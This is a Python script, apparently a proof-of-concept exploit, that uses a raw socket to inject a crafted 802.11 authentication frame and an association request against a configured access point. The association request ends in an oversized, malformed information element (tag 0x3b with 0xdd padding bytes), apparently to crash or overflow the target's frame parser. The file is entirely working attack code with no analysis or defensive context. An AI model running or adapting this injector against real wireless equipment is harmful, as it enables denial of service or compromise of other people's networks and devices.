#coding:UTF-8
import socket
import struct
import binascii
import time

############################### setting by yourself #################################
# netcard
IFACE = "wlp3s0"
# mac address
SOURCE_MAC = "e8b1fced860e"
#DESTINATION_MAC
DESTINATION_MAC = "12f0058af04d"
# wifi name
SSID = "xxxy"
############################### end #################################################


ssid = "\x00" + chr(len(SSID)) + SSID
ETH_P_ALL = 3
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL))
s.settimeout(5)
s.bind((IFACE, ETH_P_ALL))

Authentication_request = binascii.a2b_hex("00000d00048002000200000000b0003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("a050000001000000b4107b4412f0058af04de8b1fced860e85330f9bc410dfa412f0058af04d320bebdcd4100ba812f0058af04d352537afa4101112f0058af04de8b1fced860e189f626ae4000e4112f0058af04de8b1fced860e50b5d320f410e4c212f0058af04de8b1fced860e96bce8dd8400fb7212f0058af04de8b1fced860e8f0614246d68b3869410c0c412f0058af04de8b1fced860e006a58195ce5b43530a4f9479c42185dc8d619c50d7410eeaf12f0058af04d641313a0ba1c6413de4712f0058af04de8b1fced860e3062313030303030303130303031313030313131313030313131303031313130313131314e80369cdd3e64120e32e8b1fced860e12f0058af04dd160309d3a")
s.send(Authentication_request)
Association_request    = binascii.a2b_hex("00000d0004800200020000000000003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("b05031040a000004787878790104a9f3d971328a81be4d6e8a432ab7b25fe3565db9f696fed75dc052b4c42879f2c1ff8cd671624733070a1d7444208a3d00f6dad30e8b33e6ece5f19a8ea85b0d79959da6ac7dae53eeeb84d3a49fc4b8098587fb09fd81d7852e5293a9f7daf4a7725661b28dbc43e3514e25128679a0a94a2d545e3b1800e930ad39ddb4f2e18b4984fd06749b8b841a00ce09e49fca21029e27240201c0") + "\x3b\xdd" + "\x00"*0xdd
s.send(Association_request)
